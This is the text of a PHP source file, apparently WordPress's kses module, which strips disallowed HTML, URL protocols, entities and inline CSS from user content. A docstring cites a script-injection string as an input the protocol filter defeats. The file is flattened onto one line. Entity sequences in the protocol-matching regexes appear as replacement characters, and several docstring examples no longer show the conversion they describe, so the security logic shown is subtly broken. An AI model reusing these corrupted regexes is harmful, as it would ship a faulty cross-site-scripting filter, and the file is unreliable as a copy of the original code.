* @param string $checkname What $checkvalue is checking for. * @param mixed $checkvalue What constraint the value should pass * @return bool Whether check passes */ function wp_kses_check_attr_val($value, $vless, $checkname, $checkvalue) { $ok = true; switch (strtolower($checkname)) { case 'maxlen' : // The maxlen check makes sure that the attribute value has a length not // greater than the given value. This can be used to avoid Buffer Overflows // in WWW clients and various Internet servers. if (strlen($value) > $checkvalue) $ok = false; break; case 'minlen' : // The minlen check makes sure that the attribute value has a length not // smaller than the given value. if (strlen($value) < $checkvalue) $ok = false; break; case 'maxval' : // The maxval check does two things: it checks that the attribute value is // an integer from 0 and up, without an excessive amount of zeroes or // whitespace (to avoid Buffer Overflows). It also checks that the attribute // value is not greater than the given value. // This check can be used to avoid Denial of Service attacks. if (!preg_match('/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value)) $ok = false; if ($value > $checkvalue) $ok = false; break; case 'minval' : // The minval check makes sure that the attribute value is a positive integer, // and that it is not smaller than the given value. if (!preg_match('/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value)) $ok = false; if ($value < $checkvalue) $ok = false; break; case 'valueless' : // The valueless check makes sure if the attribute has a value // (like <a href="blah">) or not (<option selected>). If the given value // is a "y" or a "Y", the attribute must not have a value. // If the given value is an "n" or an "N", the attribute must have one. if (strtolower($checkvalue) != $vless) $ok = false; break; } // switch return $ok; } /** * Sanitize string from bad protocols. * * This function removes all non-allowed protocols from the beginning of * $string. It ignores whitespace and the case of the letters, and it does * understand HTML entities. It does its work in a while loop, so it won't be * fooled by a string like "javascript:javascript:alert(57)". * * @since 1.0.0 * * @param string $string Content to filter bad protocols from * @param array $allowed_protocols Allowed protocols to keep * @return string Filtered content */ function wp_kses_bad_protocol($string, $allowed_protocols) { $string = wp_kses_no_null($string); $iterations = 0; do { $original_string = $string; $string = wp_kses_bad_protocol_once($string, $allowed_protocols); } while ( $original_string != $string && ++$iterations < 6 ); if ( $original_string != $string ) return ''; return $string; } /** * Removes any invalid control characters in $string. * * Also removes any instance of the '\0' string. * * @since 1.0.0 * * @param string $string * @param array $options Set 'slash_zero' => 'keep' when '\0' is allowed. Default is 'remove'. * @return string */ function wp_kses_no_null( $string, $options = null ) { if ( ! isset( $options['slash_zero'] ) ) { $options = array( 'slash_zero' => 'remove' ); } $string = preg_replace( '/[\x00-\x08\x0B\x0C\x0E-\x1F]/', '', $string ); if ( 'remove' == $options['slash_zero'] ) { $string = preg_replace( '/\\\\+0+/', '', $string ); } return $string; } /** * Strips slashes from in front of quotes. * * This function changes the character sequence \" to just ". It leaves all * other slashes alone. It's really weird, but the quoting from * preg_replace(//e) seems to require this. * * @since 1.0.0 * * @param string $string String to strip slashes * @return string Fixed string with quoted slashes */ function wp_kses_stripslashes($string) { return preg_replace('%\\\\"%', '"', $string); } /** * Goes through an array and changes the keys to all lower case. * * @since 1.0.0 * * @param array $inarray Unfiltered array * @return array Fixed array with all lowercase keys */ function wp_kses_array_lc($inarray) { $outarray = array (); foreach ( (array) $inarray as $inkey => $inval) { $outkey = strtolower($inkey); $outarray[$outkey] = array (); foreach ( (array) $inval as $inkey2 => $inval2) { $outkey2 = strtolower($inkey2); $outarray[$outkey][$outkey2] = $inval2; } // foreach $inval } // foreach $inarray return $outarray; } /** * Handles parsing errors in wp_kses_hair(). * * The general plan is to remove everything to and including some whitespace, * but it deals with quotes and apostrophes as well. * * @since 1.0.0 * * @param string $string * @return string */ function wp_kses_html_error($string) { return preg_replace('/^("[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*/', '', $string); } /** * Sanitizes content from bad protocols and other characters. * * This function searches for URL protocols at the beginning of $string, while * handling whitespace and HTML entities. * * @since 1.0.0 * * @param string $string Content to check for bad protocols * @param string $allowed_protocols Allowed protocols * @return string Sanitized content */ function wp_kses_bad_protocol_once($string, $allowed_protocols, $count = 1 ) { $string = preg_replace( '/(�*58(?![;0-9])|�*3a(?![;a-f0-9]))/i', '$1;', $string ); $string2 = preg_split( '/:|�*58;|�*3a;|:/i', $string, 2 ); if ( isset($string2[1]) && ! preg_match('%/\?%', $string2[0]) ) { $string = trim( $string2[1] ); $protocol = wp_kses_bad_protocol_once2( $string2[0], $allowed_protocols ); if ( 'feed:' == $protocol ) { if ( $count > 2 ) return ''; $string = wp_kses_bad_protocol_once( $string, $allowed_protocols, ++$count ); if ( empty( $string ) ) return $string; } $string = $protocol . $string; } return $string; } /** * Callback for wp_kses_bad_protocol_once() regular expression. * * This function processes URL protocols, checks to see if they're in the * whitelist or not, and returns different data depending on the answer. * * @access private * @since 1.0.0 * * @param string $string URI scheme to check against the whitelist * @param string $allowed_protocols Allowed protocols * @return string Sanitized content */ function wp_kses_bad_protocol_once2( $string, $allowed_protocols ) { $string2 = wp_kses_decode_entities($string); $string2 = preg_replace('/\s/', '', $string2); $string2 = wp_kses_no_null($string2); $string2 = strtolower($string2); $allowed = false; foreach ( (array) $allowed_protocols as $one_protocol ) if ( strtolower($one_protocol) == $string2 ) { $allowed = true; break; } if ($allowed) return "$string2:"; else return ''; } /** * Converts and fixes HTML entities. * * This function normalizes HTML entities. It will convert `AT&T` to the correct * `AT&T`, `:` to `:`, `&#XYZZY;` to `&#XYZZY;` and so on. * * @since 1.0.0 * * @param string $string Content to normalize entities * @return string Content with normalized entities */ function wp_kses_normalize_entities($string) { // Disarm all entities by converting & to & $string = str_replace('&', '&', $string); // Change back the allowed entities in our entity whitelist $string = preg_replace_callback('/&([A-Za-z]{2,8}[0-9]{0,2});/', 'wp_kses_named_entities', $string); $string = preg_replace_callback('/&#(0*[0-9]{1,7});/', 'wp_kses_normalize_entities2', $string); $string = preg_replace_callback('/&#[Xx](0*[0-9A-Fa-f]{1,6});/', 'wp_kses_normalize_entities3', $string); return $string; } /** * Callback for wp_kses_normalize_entities() regular expression. * * This function only accepts valid named entity references, which are finite, * case-sensitive, and highly scrutinized by HTML and XML validators. * * @since 3.0.0 * * @global array $allowedentitynames * * @param array $matches preg_replace_callback() matches array * @return string Correctly encoded entity */ function wp_kses_named_entities($matches) { global $allowedentitynames; if ( empty($matches[1]) ) return ''; $i = $matches[1]; return ( ! in_array( $i, $allowedentitynames ) ) ? "&$i;" : "&$i;"; } /** * Callback for wp_kses_normalize_entities() regular expression. * * This function helps wp_kses_normalize_entities() to only accept 16-bit * values and nothing more for `&#number;` entities. * * @access private * @since 1.0.0 * * @param array $matches preg_replace_callback() matches array * @return string Correctly encoded entity */ function wp_kses_normalize_entities2($matches) { if ( empty($matches[1]) ) return ''; $i = $matches[1]; if (valid_unicode($i)) { $i = str_pad(ltrim($i,'0'), 3, '0', STR_PAD_LEFT); $i = "&#$i;"; } else { $i = "&#$i;"; } return $i; } /** * Callback for wp_kses_normalize_entities() for regular expression. * * This function helps wp_kses_normalize_entities() to only accept valid Unicode * numeric entities in hex form. * * @since 2.7.0 * @access private * * @param array $matches preg_replace_callback() matches array * @return string Correctly encoded entity */ function wp_kses_normalize_entities3($matches) { if ( empty($matches[1]) ) return ''; $hexchars = $matches[1]; return ( ! valid_unicode( hexdec( $hexchars ) ) ) ? "&#x$hexchars;" : '&#x'.ltrim($hexchars,'0').';'; } /** * Helper function to determine if a Unicode value is valid. * * @since 2.7.0 * * @param int $i Unicode value * @return bool True if the value was a valid Unicode number */ function valid_unicode($i) { return ( $i == 0x9 || $i == 0xa || $i == 0xd || ($i >= 0x20 && $i <= 0xd7ff) || ($i >= 0xe000 && $i <= 0xfffd) || ($i >= 0x10000 && $i <= 0x10ffff) ); } /** * Convert all entities to their character counterparts. * * This function decodes numeric HTML entities (`A` and `A`). * It doesn't do anything with other entities like ä, but we don't * need them in the URL protocol whitelisting system anyway. * * @since 1.0.0 * * @param string $string Content to change entities * @return string Content after decoded entities */ function wp_kses_decode_entities($string) { $string = preg_replace_callback('/&#([0-9]+);/', '_wp_kses_decode_entities_chr', $string); $string = preg_replace_callback('/&#[Xx]([0-9A-Fa-f]+);/', '_wp_kses_decode_entities_chr_hexdec', $string); return $string; } /** * Regex callback for wp_kses_decode_entities() * * @since 2.9.0 * * @param array $match preg match * @return string */ function _wp_kses_decode_entities_chr( $match ) { return chr( $match[1] ); } /** * Regex callback for wp_kses_decode_entities() * * @since 2.9.0 * * @param array $match preg match * @return string */ function _wp_kses_decode_entities_chr_hexdec( $match ) { return chr( hexdec( $match[1] ) ); } /** * Sanitize content with allowed HTML Kses rules. * * @since 1.0.0 * * @param string $data Content to filter, expected to be escaped with slashes * @return string Filtered content */ function wp_filter_kses( $data ) { return addslashes( wp_kses( stripslashes( $data ), current_filter() ) ); } /** * Sanitize content with allowed HTML Kses rules. * * @since 2.9.0 * * @param string $data Content to filter, expected to not be escaped * @return string Filtered content */ function wp_kses_data( $data ) { return wp_kses( $data, current_filter() ); } /** * Sanitize content for allowed HTML tags for post content. * * Post content refers to the page contents of the 'post' type and not $_POST * data from forms. * * @since 2.0.0 * * @param string $data Post content to filter, expected to be escaped with slashes * @return string Filtered post content with allowed HTML tags and attributes intact. */ function wp_filter_post_kses( $data ) { return addslashes( wp_kses( stripslashes( $data ), 'post' ) ); } /** * Sanitize content for allowed HTML tags for post content. * * Post content refers to the page contents of the 'post' type and not $_POST * data from forms. * * @since 2.9.0 * * @param string $data Post content to filter * @return string Filtered post content with allowed HTML tags and attributes intact. */ function wp_kses_post( $data ) { return wp_kses( $data, 'post' ); } /** * Navigates through an array, object, or scalar, and sanitizes content for * allowed HTML tags for post content. * * @since 4.4.2 * * @see map_deep() * * @param mixed $data The array, object, or scalar value to inspect. * @return mixed The filtered content. */ function wp_kses_post_deep( $data ) { return map_deep( $data, 'wp_kses_post' ); } /** * Strips all of the HTML in the content. * * @since 2.1.0 * * @param string $data Content to strip all HTML from * @return string Filtered content without any HTML */ function wp_filter_nohtml_kses( $data ) { return addslashes( wp_kses( stripslashes( $data ), 'strip' ) ); } /** * Adds all Kses input form content filters. * * All hooks have default priority. The wp_filter_kses() function is added to * the 'pre_comment_content' and 'title_save_pre' hooks. * * The wp_filter_post_kses() function is added to the 'content_save_pre', * 'excerpt_save_pre', and 'content_filtered_save_pre' hooks. * * @since 2.0.0 */ function kses_init_filters() { // Normal filtering add_filter('title_save_pre', 'wp_filter_kses'); // Comment filtering if ( current_user_can( 'unfiltered_html' ) ) add_filter( 'pre_comment_content', 'wp_filter_post_kses' ); else add_filter( 'pre_comment_content', 'wp_filter_kses' ); // Post filtering add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('excerpt_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses'); } /** * Removes all Kses input form content filters. * * A quick procedural method to removing all of the filters that kses uses for * content in WordPress Loop. * * Does not remove the kses_init() function from {@see 'init'} hook (priority is * default). Also does not remove kses_init() function from {@see 'set_current_user'} * hook (priority is also default). * * @since 2.0.6 */ function kses_remove_filters() { // Normal filtering remove_filter('title_save_pre', 'wp_filter_kses'); // Comment filtering remove_filter( 'pre_comment_content', 'wp_filter_post_kses' ); remove_filter( 'pre_comment_content', 'wp_filter_kses' ); // Post filtering remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('excerpt_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses'); } /** * Sets up most of the Kses filters for input form content. * * If you remove the kses_init() function from {@see 'init'} hook and * {@see 'set_current_user'} (priority is default), then none of the Kses filter hooks * will be added. * * First removes all of the Kses filters in case the current user does not need * to have Kses filter the content. If the user does not have unfiltered_html * capability, then Kses filters are added. * * @since 2.0.0 */ function kses_init() { kses_remove_filters(); if ( ! current_user_can( 'unfiltered_html' ) ) { kses_init_filters(); } } /** * Inline CSS filter * * @since 2.8.1 * * @param string $css A string of CSS rules. * @param string $deprecated Not used. * @return string Filtered string of CSS rules. */ function safecss_filter_attr( $css, $deprecated = '' ) { if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '2.8.1' ); // Never implemented $css = wp_kses_no_null($css); $css = str_replace(array("\n","\r","\t"), '', $css); if ( preg_match( '%[\\\\(&=}]|/\*%', $css ) ) // remove any inline css containing \ ( & } = or comments return ''; $css_array = explode( ';', trim( $css ) ); /** * Filters list of allowed CSS attributes. * * @since 2.8.1 * @since 4.4.0 Added support for `min-height`, `max-height`, `min-width`, and `max-width`. * @since 4.6.0 Added support for `list-style-type`. * * @param array $attr List of allowed CSS attributes. */ $allowed_attr = apply_filters( 'safe_style_css', array( 'background', 'background-color', 'border', 'border-width', 'border-color', 'border-style', 'border-right', 'border-right-color', 'border-right-style', 'border-right-width', 'border-bottom', 'border-bottom-color', 'border-bottom-style', 'border-bottom-width', 'border-left', 'border-left-color', 'border-left-style', 'border-left-width', 'border-top', 'border-top-color', 'border-top-style', 'border-top-width', 'border-spacing', 'border-collapse', 'caption-side', 'color', 'font', 'font-family', 'font-size', 'font-style', 'font-variant', 'font-weight', 'letter-spacing', 'line-height', 'text-decoration', 'text-indent', 'text-align', 'height', 'min-height', 'max-height', 'width', 'min-width', 'max-width', 'margin', 'margin-right', 'margin-bottom', 'margin-left', 'margin-top', 'padding', 'padding-right', 'padding-bottom', 'padding-left', 'padding-top', 'clear', 'cursor', 'direction', 'float', 'overflow', 'vertical-align', 'list-style-type', ) ); if ( empty($allowed_attr) ) return $css; $css = ''; foreach ( $css_array as $css_item ) { if ( $css_item == '' ) continue; $css_item = trim( $css_item ); $found = false; if ( strpos( $css_item, ':' ) === false ) { $found = true; } else { $parts = explode( ':', $css_item ); if ( in_array( trim( $parts[0] ), $allowed_attr ) ) $found = true; } if ( $found ) { if( $css != '' ) $css .= ';'; $css .= $css_item; } } return $css; } /** * Helper function to add global attributes to a tag in the allowed html list. * * @since 3.5.0 * @access private * * @param array $value An array of attributes. * @return array The array of attributes with global attributes added. */ function _wp_add_global_attributes( $value ) { $global_attributes = array( 'class' => true, 'id' => true, 'style' => true, 'title' => true, 'role' => true, ); if ( true === $value ) $value = array(); if ( is_array( $value ) ) return array_merge( $value, $global_attributes ); return $value; }